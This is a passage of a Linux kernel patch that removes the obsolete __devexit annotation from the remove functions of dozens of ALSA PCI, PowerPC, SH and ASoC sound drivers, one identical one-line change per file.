@@ -981,7 +981,7 @@ out:
 	return err;
 }
 
-static void __devexit snd_card_als4000_remove(struct pci_dev *pci)
+static void snd_card_als4000_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
index a01739c..72ee21d 100644
--- a/sound/pci/asihpi/asihpi.c
+++ b/sound/pci/asihpi/asihpi.c
@@ -2944,7 +2944,7 @@ __nodev:
 
 }
 
-static void __devexit snd_asihpi_remove(struct pci_dev *pci_dev)
+static void snd_asihpi_remove(struct pci_dev *pci_dev)
 {
 	struct hpi_adapter *hpi = pci_get_drvdata(pci_dev);
 	snd_card_free(hpi->snd_card);
diff --git a/sound/pci/asihpi/hpioctl.c b/sound/pci/asihpi/hpioctl.c
index 842b94d..39228f0 100644
--- a/sound/pci/asihpi/hpioctl.c
+++ b/sound/pci/asihpi/hpioctl.c
@@ -420,7 +420,7 @@ err:
 	return -ENODEV;
 }
 
-void __devexit asihpi_adapter_remove(struct pci_dev *pci_dev)
+void asihpi_adapter_remove(struct pci_dev *pci_dev)
 {
 	int idx;
 	struct hpi_message hm;
diff --git a/sound/pci/asihpi/hpioctl.h b/sound/pci/asihpi/hpioctl.h
index f99baea..b6f3f94 100644
--- a/sound/pci/asihpi/hpioctl.h
+++ b/sound/pci/asihpi/hpioctl.h
@@ -21,7 +21,7 @@ Linux HPI ioctl, and shared module init functions
 
 int asihpi_adapter_probe(struct pci_dev *pci_dev,
 	const struct pci_device_id *pci_id);
-void __devexit asihpi_adapter_remove(struct pci_dev *pci_dev);
+void asihpi_adapter_remove(struct pci_dev *pci_dev);
 void __init asihpi_init(void);
 void __exit asihpi_exit(void);
 
diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
index a4ea06f..adeacbb 100644
--- a/sound/pci/atiixp.c
+++ b/sound/pci/atiixp.c
@@ -1710,7 +1710,7 @@ static int snd_atiixp_probe(struct pci_dev *pci,
 	return err;
 }
 
-static void __devexit snd_atiixp_remove(struct pci_dev *pci)
+static void snd_atiixp_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/atiixp_modem.c b/sound/pci/atiixp_modem.c
index 5cb8928..a942b77 100644
--- a/sound/pci/atiixp_modem.c
+++ b/sound/pci/atiixp_modem.c
@@ -1331,7 +1331,7 @@ static int snd_atiixp_probe(struct pci_dev *pci,
 	return err;
 }
 
-static void __devexit snd_atiixp_remove(struct pci_dev *pci)
+static void snd_atiixp_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/au88x0/au88x0.c b/sound/pci/au88x0/au88x0.c
index 9cf669a..179588f 100644
--- a/sound/pci/au88x0/au88x0.c
+++ b/sound/pci/au88x0/au88x0.c
@@ -366,7 +366,7 @@ static int snd_vortex_probe(struct pci_dev *pci, const struct pci_device_id *pci
 }
 
 // destructor -- see "Destructor" sub-section
-static void __devexit snd_vortex_remove(struct pci_dev *pci)
+static void snd_vortex_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/aw2/aw2-alsa.c b/sound/pci/aw2/aw2-alsa.c
index c1f35e4..361984d 100644
--- a/sound/pci/aw2/aw2-alsa.c
+++ b/sound/pci/aw2/aw2-alsa.c
@@ -117,7 +117,7 @@ static int snd_aw2_create(struct snd_card *card,
 				    struct pci_dev *pci, struct aw2 **rchip);
 static int snd_aw2_probe(struct pci_dev *pci,
 				   const struct pci_device_id *pci_id);
-static void __devexit snd_aw2_remove(struct pci_dev *pci);
+static void snd_aw2_remove(struct pci_dev *pci);
 static int snd_aw2_pcm_playback_open(struct snd_pcm_substream *substream);
 static int snd_aw2_pcm_playback_close(struct snd_pcm_substream *substream);
 static int snd_aw2_pcm_capture_open(struct snd_pcm_substream *substream);
@@ -389,7 +389,7 @@ static int snd_aw2_probe(struct pci_dev *pci,
 }
 
 /* destructor */
-static void __devexit snd_aw2_remove(struct pci_dev *pci)
+static void snd_aw2_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/azt3328.c b/sound/pci/azt3328.c
index 8c3502d..39363c2 100644
--- a/sound/pci/azt3328.c
+++ b/sound/pci/azt3328.c
@@ -2713,7 +2713,7 @@ out:
 	return err;
 }
 
-static void __devexit
+static void
 snd_azf3328_remove(struct pci_dev *pci)
 {
 	snd_azf3328_dbgcallenter();
diff --git a/sound/pci/bt87x.c b/sound/pci/bt87x.c
index 354ec5a..41c9044 100644
--- a/sound/pci/bt87x.c
+++ b/sound/pci/bt87x.c
@@ -948,7 +948,7 @@ _error:
 	return err;
 }
 
-static void __devexit snd_bt87x_remove(struct pci_dev *pci)
+static void snd_bt87x_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/ca0106/ca0106_main.c b/sound/pci/ca0106/ca0106_main.c
index f827687..1610a57 100644
--- a/sound/pci/ca0106/ca0106_main.c
+++ b/sound/pci/ca0106/ca0106_main.c
@@ -1893,7 +1893,7 @@ static int snd_ca0106_probe(struct pci_dev *pci,
 	return err;
 }
 
-static void __devexit snd_ca0106_remove(struct pci_dev *pci)
+static void snd_ca0106_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/cmipci.c b/sound/pci/cmipci.c
index d67209a..7177993 100644
--- a/sound/pci/cmipci.c
+++ b/sound/pci/cmipci.c
@@ -3314,7 +3314,7 @@ static int snd_cmipci_probe(struct pci_dev *pci,
 
 }
 
-static void __devexit snd_cmipci_remove(struct pci_dev *pci)
+static void snd_cmipci_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/cs4281.c b/sound/pci/cs4281.c
index 5431c6d..9e65315 100644
--- a/sound/pci/cs4281.c
+++ b/sound/pci/cs4281.c
@@ -1968,7 +1968,7 @@ static int snd_cs4281_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_cs4281_remove(struct pci_dev *pci)
+static void snd_cs4281_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/cs46xx/cs46xx.c b/sound/pci/cs46xx/cs46xx.c
index 74a43b0..6c48bcb 100644
--- a/sound/pci/cs46xx/cs46xx.c
+++ b/sound/pci/cs46xx/cs46xx.c
@@ -155,7 +155,7 @@ static int snd_card_cs46xx_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_card_cs46xx_remove(struct pci_dev *pci)
+static void snd_card_cs46xx_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/cs5530.c b/sound/pci/cs5530.c
index 94aee6e..241f546 100644
--- a/sound/pci/cs5530.c
+++ b/sound/pci/cs5530.c
@@ -88,7 +88,7 @@ static int snd_cs5530_dev_free(struct snd_device *device)
 	return snd_cs5530_free(chip);
 }
 
-static void __devexit snd_cs5530_remove(struct pci_dev *pci)
+static void snd_cs5530_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/cs5535audio/cs5535audio.c b/sound/pci/cs5535audio/cs5535audio.c
index cf188b2..54136e1 100644
--- a/sound/pci/cs5535audio/cs5535audio.c
+++ b/sound/pci/cs5535audio/cs5535audio.c
@@ -387,7 +387,7 @@ probefail_out:
 	return err;
 }
 
-static void __devexit snd_cs5535audio_remove(struct pci_dev *pci)
+static void snd_cs5535audio_remove(struct pci_dev *pci)
 {
 	olpc_quirks_cleanup();
 	snd_card_free(pci_get_drvdata(pci));
diff --git a/sound/pci/cs5535audio/cs5535audio.h b/sound/pci/cs5535audio/cs5535audio.h
index 536a6bb..d6422ad 100644
--- a/sound/pci/cs5535audio/cs5535audio.h
+++ b/sound/pci/cs5535audio/cs5535audio.h
@@ -100,7 +100,7 @@ extern const struct dev_pm_ops snd_cs5535audio_pm;
 void olpc_prequirks(struct snd_card *card,
 		struct snd_ac97_template *ac97);
 int olpc_quirks(struct snd_card *card, struct snd_ac97 *ac97);
-void __devexit olpc_quirks_cleanup(void);
+void olpc_quirks_cleanup(void);
 void olpc_analog_input(struct snd_ac97 *ac97, int on);
 void olpc_mic_bias(struct snd_ac97 *ac97, int on);
 
diff --git a/sound/pci/cs5535audio/cs5535audio_olpc.c b/sound/pci/cs5535audio/cs5535audio_olpc.c
index 6a98019..67fba40 100644
--- a/sound/pci/cs5535audio/cs5535audio_olpc.c
+++ b/sound/pci/cs5535audio/cs5535audio_olpc.c
@@ -185,7 +185,7 @@ int olpc_quirks(struct snd_card *card, struct snd_ac97 *ac97)
 	return 0;
 }
 
-void __devexit olpc_quirks_cleanup(void)
+void olpc_quirks_cleanup(void)
 {
 	gpio_free(OLPC_GPIO_MIC_AC);
 }
diff --git a/sound/pci/ctxfi/xfi.c b/sound/pci/ctxfi/xfi.c
index 8275ac3..97db201 100644
--- a/sound/pci/ctxfi/xfi.c
+++ b/sound/pci/ctxfi/xfi.c
@@ -118,7 +118,7 @@ error:
 	return err;
 }
 
-static void __devexit ct_card_remove(struct pci_dev *pci)
+static void ct_card_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/echoaudio/echoaudio.c b/sound/pci/echoaudio/echoaudio.c
index f4400ba..31ba99e 100644
--- a/sound/pci/echoaudio/echoaudio.c
+++ b/sound/pci/echoaudio/echoaudio.c
@@ -2316,7 +2316,7 @@ static SIMPLE_DEV_PM_OPS(snd_echo_pm, snd_echo_suspend, snd_echo_resume);
 #endif /* CONFIG_PM_SLEEP */
 
 
-static void __devexit snd_echo_remove(struct pci_dev *pci)
+static void snd_echo_remove(struct pci_dev *pci)
 {
 	struct echoaudio *chip;
 
diff --git a/sound/pci/emu10k1/emu10k1.c b/sound/pci/emu10k1/emu10k1.c
index 77b316d..fe7e7b6 100644
--- a/sound/pci/emu10k1/emu10k1.c
+++ b/sound/pci/emu10k1/emu10k1.c
@@ -199,7 +199,7 @@ static int snd_card_emu10k1_probe(struct pci_dev *pci,
 	return err;
 }
 
-static void __devexit snd_card_emu10k1_remove(struct pci_dev *pci)
+static void snd_card_emu10k1_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/emu10k1/emu10k1x.c b/sound/pci/emu10k1/emu10k1x.c
index 9c618c2..cc897e9 100644
--- a/sound/pci/emu10k1/emu10k1x.c
+++ b/sound/pci/emu10k1/emu10k1x.c
@@ -1619,7 +1619,7 @@ static int snd_emu10k1x_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_emu10k1x_remove(struct pci_dev *pci)
+static void snd_emu10k1x_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/ens1370.c b/sound/pci/ens1370.c
index 2e42aab..20c14a7 100644
--- a/sound/pci/ens1370.c
+++ b/sound/pci/ens1370.c
@@ -2494,7 +2494,7 @@ static int snd_audiopci_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_audiopci_remove(struct pci_dev *pci)
+static void snd_audiopci_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/es1938.c b/sound/pci/es1938.c
index 5441377..4062722 100644
--- a/sound/pci/es1938.c
+++ b/sound/pci/es1938.c
@@ -1878,7 +1878,7 @@ static int snd_es1938_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_es1938_remove(struct pci_dev *pci)
+static void snd_es1938_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/es1968.c b/sound/pci/es1968.c
index 71629cd..8c6e693 100644
--- a/sound/pci/es1968.c
+++ b/sound/pci/es1968.c
@@ -2903,7 +2903,7 @@ static int snd_es1968_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_es1968_remove(struct pci_dev *pci)
+static void snd_es1968_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/fm801.c b/sound/pci/fm801.c
index 446fc99..324013d 100644
--- a/sound/pci/fm801.c
+++ b/sound/pci/fm801.c
@@ -1367,7 +1367,7 @@ static int snd_card_fm801_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_card_fm801_remove(struct pci_dev *pci)
+static void snd_card_fm801_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/hda/hda_intel.c b/sound/pci/hda/hda_intel.c
index 0aedbe1..25723c0 100644
--- a/sound/pci/hda/hda_intel.c
+++ b/sound/pci/hda/hda_intel.c
@@ -3525,7 +3525,7 @@ out_free:
 	return err;
 }
 
-static void __devexit azx_remove(struct pci_dev *pci)
+static void azx_remove(struct pci_dev *pci)
 {
 	struct snd_card *card = pci_get_drvdata(pci);
 
diff --git a/sound/pci/ice1712/ice1712.c b/sound/pci/ice1712/ice1712.c
index b6e9dda..b528515 100644
--- a/sound/pci/ice1712/ice1712.c
+++ b/sound/pci/ice1712/ice1712.c
@@ -2797,7 +2797,7 @@ static int snd_ice1712_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_ice1712_remove(struct pci_dev *pci)
+static void snd_ice1712_remove(struct pci_dev *pci)
 {
 	struct snd_card *card = pci_get_drvdata(pci);
 	struct snd_ice1712 *ice = card->private_data;
diff --git a/sound/pci/ice1712/ice1724.c b/sound/pci/ice1712/ice1724.c
index 7551c34..e07076f 100644
--- a/sound/pci/ice1712/ice1724.c
+++ b/sound/pci/ice1712/ice1724.c
@@ -2792,7 +2792,7 @@ __found:
 	return 0;
 }
 
-static void __devexit snd_vt1724_remove(struct pci_dev *pci)
+static void snd_vt1724_remove(struct pci_dev *pci)
 {
 	struct snd_card *card = pci_get_drvdata(pci);
 	struct snd_ice1712 *ice = card->private_data;
diff --git a/sound/pci/intel8x0.c b/sound/pci/intel8x0.c
index 4074d4f..24aecf7 100644
--- a/sound/pci/intel8x0.c
+++ b/sound/pci/intel8x0.c
@@ -3359,7 +3359,7 @@ static int snd_intel8x0_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_intel8x0_remove(struct pci_dev *pci)
+static void snd_intel8x0_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/intel8x0m.c b/sound/pci/intel8x0m.c
index 921521d..7569bf5 100644
--- a/sound/pci/intel8x0m.c
+++ b/sound/pci/intel8x0m.c
@@ -1325,7 +1325,7 @@ static int snd_intel8x0m_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_intel8x0m_remove(struct pci_dev *pci)
+static void snd_intel8x0m_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/korg1212/korg1212.c b/sound/pci/korg1212/korg1212.c
index 3398453..0f920de 100644
--- a/sound/pci/korg1212/korg1212.c
+++ b/sound/pci/korg1212/korg1212.c
@@ -2469,7 +2469,7 @@ static int snd_korg1212_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_korg1212_remove(struct pci_dev *pci)
+static void snd_korg1212_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/lola/lola.c b/sound/pci/lola/lola.c
index 7be3dad..a32dda7 100644
--- a/sound/pci/lola/lola.c
+++ b/sound/pci/lola/lola.c
@@ -756,7 +756,7 @@ out_free:
 	return err;
 }
 
-static void __devexit lola_remove(struct pci_dev *pci)
+static void lola_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/lx6464es/lx6464es.c b/sound/pci/lx6464es/lx6464es.c
index c9119ce..b2540fb 100644
--- a/sound/pci/lx6464es/lx6464es.c
+++ b/sound/pci/lx6464es/lx6464es.c
@@ -1136,7 +1136,7 @@ out_free:
 
 }
 
-static void __devexit snd_lx6464es_remove(struct pci_dev *pci)
+static void snd_lx6464es_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/maestro3.c b/sound/pci/maestro3.c
index 986cd07..ed26007 100644
--- a/sound/pci/maestro3.c
+++ b/sound/pci/maestro3.c
@@ -2767,7 +2767,7 @@ static int snd_m3_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
 	return 0;
 }
 
-static void __devexit snd_m3_remove(struct pci_dev *pci)
+static void snd_m3_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/mixart/mixart.c b/sound/pci/mixart/mixart.c
index f744df5..65bc05b 100644
--- a/sound/pci/mixart/mixart.c
+++ b/sound/pci/mixart/mixart.c
@@ -1374,7 +1374,7 @@ static int snd_mixart_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_mixart_remove(struct pci_dev *pci)
+static void snd_mixart_remove(struct pci_dev *pci)
 {
 	snd_mixart_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/nm256/nm256.c b/sound/pci/nm256/nm256.c
index 6c3fd38..dad075e 100644
--- a/sound/pci/nm256/nm256.c
+++ b/sound/pci/nm256/nm256.c
@@ -1738,7 +1738,7 @@ static int snd_nm256_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_nm256_remove(struct pci_dev *pci)
+static void snd_nm256_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/pcxhr/pcxhr.c b/sound/pci/pcxhr/pcxhr.c
index cc2008a..7276d42 100644
--- a/sound/pci/pcxhr/pcxhr.c
+++ b/sound/pci/pcxhr/pcxhr.c
@@ -1688,7 +1688,7 @@ static int pcxhr_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit pcxhr_remove(struct pci_dev *pci)
+static void pcxhr_remove(struct pci_dev *pci)
 {
 	pcxhr_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/riptide/riptide.c b/sound/pci/riptide/riptide.c
index 42da7d5..baf28ca 100644
--- a/sound/pci/riptide/riptide.c
+++ b/sound/pci/riptide/riptide.c
@@ -2057,7 +2057,7 @@ static int snd_riptide_joystick_probe(struct pci_dev *pci, const struct pci_devi
 	return 0;
 }
 
-static void __devexit snd_riptide_joystick_remove(struct pci_dev *pci)
+static void snd_riptide_joystick_remove(struct pci_dev *pci)
 {
 	struct gameport *gameport = pci_get_drvdata(pci);
 	if (gameport) {
@@ -2172,7 +2172,7 @@ static int snd_card_riptide_probe(struct pci_dev *pci, const struct pci_device_i
 	return err;
 }
 
-static void __devexit snd_card_riptide_remove(struct pci_dev *pci)
+static void snd_card_riptide_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/rme32.c b/sound/pci/rme32.c
index 1378c3c..04f51da 100644
--- a/sound/pci/rme32.c
+++ b/sound/pci/rme32.c
@@ -1977,7 +1977,7 @@ static int snd_rme32_probe(struct pci_dev *pci, const struct pci_device_id *pci_
 	return 0;
 }
 
-static void __devexit snd_rme32_remove(struct pci_dev *pci)
+static void snd_rme32_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/rme96.c b/sound/pci/rme96.c
index c145d80..2fbec92 100644
--- a/sound/pci/rme96.c
+++ b/sound/pci/rme96.c
@@ -2387,7 +2387,7 @@ static int snd_rme96_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_rme96_remove(struct pci_dev *pci)
+static void snd_rme96_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/rme9652/hdsp.c b/sound/pci/rme9652/hdsp.c
index bff2f60..6b19f32 100644
--- a/sound/pci/rme9652/hdsp.c
+++ b/sound/pci/rme9652/hdsp.c
@@ -5630,7 +5630,7 @@ static int snd_hdsp_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_hdsp_remove(struct pci_dev *pci)
+static void snd_hdsp_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/rme9652/hdspm.c b/sound/pci/rme9652/hdspm.c
index 4724808..1bf1d8d 100644
--- a/sound/pci/rme9652/hdspm.c
+++ b/sound/pci/rme9652/hdspm.c
@@ -6964,7 +6964,7 @@ static int snd_hdspm_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_hdspm_remove(struct pci_dev *pci)
+static void snd_hdspm_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/rme9652/rme9652.c b/sound/pci/rme9652/rme9652.c
index 077cfb7..ca8420e 100644
--- a/sound/pci/rme9652/rme9652.c
+++ b/sound/pci/rme9652/rme9652.c
@@ -2625,7 +2625,7 @@ static int snd_rme9652_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_rme9652_remove(struct pci_dev *pci)
+static void snd_rme9652_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/sis7019.c b/sound/pci/sis7019.c
index 8548deb..a9d7a1c 100644
--- a/sound/pci/sis7019.c
+++ b/sound/pci/sis7019.c
@@ -1478,7 +1478,7 @@ error_out:
 	return rc;
 }
 
-static void __devexit snd_sis7019_remove(struct pci_dev *pci)
+static void snd_sis7019_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/sonicvibes.c b/sound/pci/sonicvibes.c
index f192476..da10d1d 100644
--- a/sound/pci/sonicvibes.c
+++ b/sound/pci/sonicvibes.c
@@ -1524,7 +1524,7 @@ static int snd_sonic_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_sonic_remove(struct pci_dev *pci)
+static void snd_sonic_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/trident/trident.c b/sound/pci/trident/trident.c
index 7594bc2..ea71f89 100644
--- a/sound/pci/trident/trident.c
+++ b/sound/pci/trident/trident.c
@@ -166,7 +166,7 @@ static int snd_trident_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_trident_remove(struct pci_dev *pci)
+static void snd_trident_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
index 5481695..6716479 100644
--- a/sound/pci/via82xx.c
+++ b/sound/pci/via82xx.c
@@ -2643,7 +2643,7 @@ static int snd_via82xx_probe(struct pci_dev *pci,
 	return err;
 }
 
-static void __devexit snd_via82xx_remove(struct pci_dev *pci)
+static void snd_via82xx_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/via82xx_modem.c b/sound/pci/via82xx_modem.c
index a7f5c64..11d5320 100644
--- a/sound/pci/via82xx_modem.c
+++ b/sound/pci/via82xx_modem.c
@@ -1224,7 +1224,7 @@ static int snd_via82xx_probe(struct pci_dev *pci,
 	return err;
 }
 
-static void __devexit snd_via82xx_remove(struct pci_dev *pci)
+static void snd_via82xx_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/vx222/vx222.c b/sound/pci/vx222/vx222.c
index 6d4fbcf..2400277 100644
--- a/sound/pci/vx222/vx222.c
+++ b/sound/pci/vx222/vx222.c
@@ -251,7 +251,7 @@ static int snd_vx222_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_vx222_remove(struct pci_dev *pci)
+static void snd_vx222_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/ymfpci/ymfpci.c b/sound/pci/ymfpci/ymfpci.c
index 2dbb55f..b0e1a0c 100644
--- a/sound/pci/ymfpci/ymfpci.c
+++ b/sound/pci/ymfpci/ymfpci.c
@@ -344,7 +344,7 @@ static int snd_card_ymfpci_probe(struct pci_dev *pci,
 	return 0;
 }
 
-static void __devexit snd_card_ymfpci_remove(struct pci_dev *pci)
+static void snd_card_ymfpci_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/ppc/powermac.c b/sound/ppc/powermac.c
index 625d12e..09fc848 100644
--- a/sound/ppc/powermac.c
+++ b/sound/ppc/powermac.c
@@ -136,7 +136,7 @@ __error:
 }
 
 
-static int __devexit snd_pmac_remove(struct platform_device *devptr)
+static int snd_pmac_remove(struct platform_device *devptr)
 {
 	snd_card_free(platform_get_drvdata(devptr));
 	platform_set_drvdata(devptr, NULL);
diff --git a/sound/sh/aica.c b/sound/sh/aica.c
index 1cbbf42..0ab1f91 100644
--- a/sound/sh/aica.c
+++ b/sound/sh/aica.c
@@ -591,7 +591,7 @@ static int add_aicamixer_controls(struct snd_card_aica
 	return 0;
 }
 
-static int __devexit snd_aica_remove(struct platform_device *devptr)
+static int snd_aica_remove(struct platform_device *devptr)
 {
 	struct snd_card_aica *dreamcastcard;
 	dreamcastcard = platform_get_drvdata(devptr);
diff --git a/sound/soc/atmel/atmel-pcm.c b/sound/soc/atmel/atmel-pcm.c
index 92cc26d..41849c6 100644
--- a/sound/soc/atmel/atmel-pcm.c
+++ b/sound/soc/atmel/atmel-pcm.c
@@ -478,7 +478,7 @@ static int atmel_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &atmel_soc_platform);
 }
 
-static int __devexit atmel_soc_platform_remove(struct platform_device *pdev)
+static int atmel_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/atmel/atmel_ssc_dai.c b/sound/soc/atmel/atmel_ssc_dai.c
index f2e6efd..d3528cd 100644
--- a/sound/soc/atmel/atmel_ssc_dai.c
+++ b/sound/soc/atmel/atmel_ssc_dai.c
@@ -794,7 +794,7 @@ static int asoc_ssc_probe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &atmel_ssc_dai[pdev->id]);
 }
 
-static int __devexit asoc_ssc_remove(struct platform_device *pdev)
+static int asoc_ssc_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 	return 0;
diff --git a/sound/soc/atmel/sam9g20_wm8731.c b/sound/soc/atmel/sam9g20_wm8731.c
index 1197515..8e533c9 100644
--- a/sound/soc/atmel/sam9g20_wm8731.c
+++ b/sound/soc/atmel/sam9g20_wm8731.c
@@ -244,7 +244,7 @@ err:
 	return ret;
 }
 
-static int __devexit at91sam9g20ek_audio_remove(struct platform_device *pdev)
+static int at91sam9g20ek_audio_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/au1x/ac97c.c b/sound/soc/au1x/ac97c.c
index a444bfb..ea7d9d1 100644
--- a/sound/soc/au1x/ac97c.c
+++ b/sound/soc/au1x/ac97c.c
@@ -276,7 +276,7 @@ static int au1xac97c_drvprobe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit au1xac97c_drvremove(struct platform_device *pdev)
+static int au1xac97c_drvremove(struct platform_device *pdev)
 {
 	struct au1xpsc_audio_data *ctx = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/au1x/db1000.c b/sound/soc/au1x/db1000.c
index 2a8bf01..376d976 100644
--- a/sound/soc/au1x/db1000.c
+++ b/sound/soc/au1x/db1000.c
@@ -41,7 +41,7 @@ static int db1000_audio_probe(struct platform_device *pdev)
 	return snd_soc_register_card(card);
 }
 
-static int __devexit db1000_audio_remove(struct platform_device *pdev)
+static int db1000_audio_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	snd_soc_unregister_card(card);
diff --git a/sound/soc/au1x/db1200.c b/sound/soc/au1x/db1200.c
index fdda99c..a497a0c 100644
--- a/sound/soc/au1x/db1200.c
+++ b/sound/soc/au1x/db1200.c
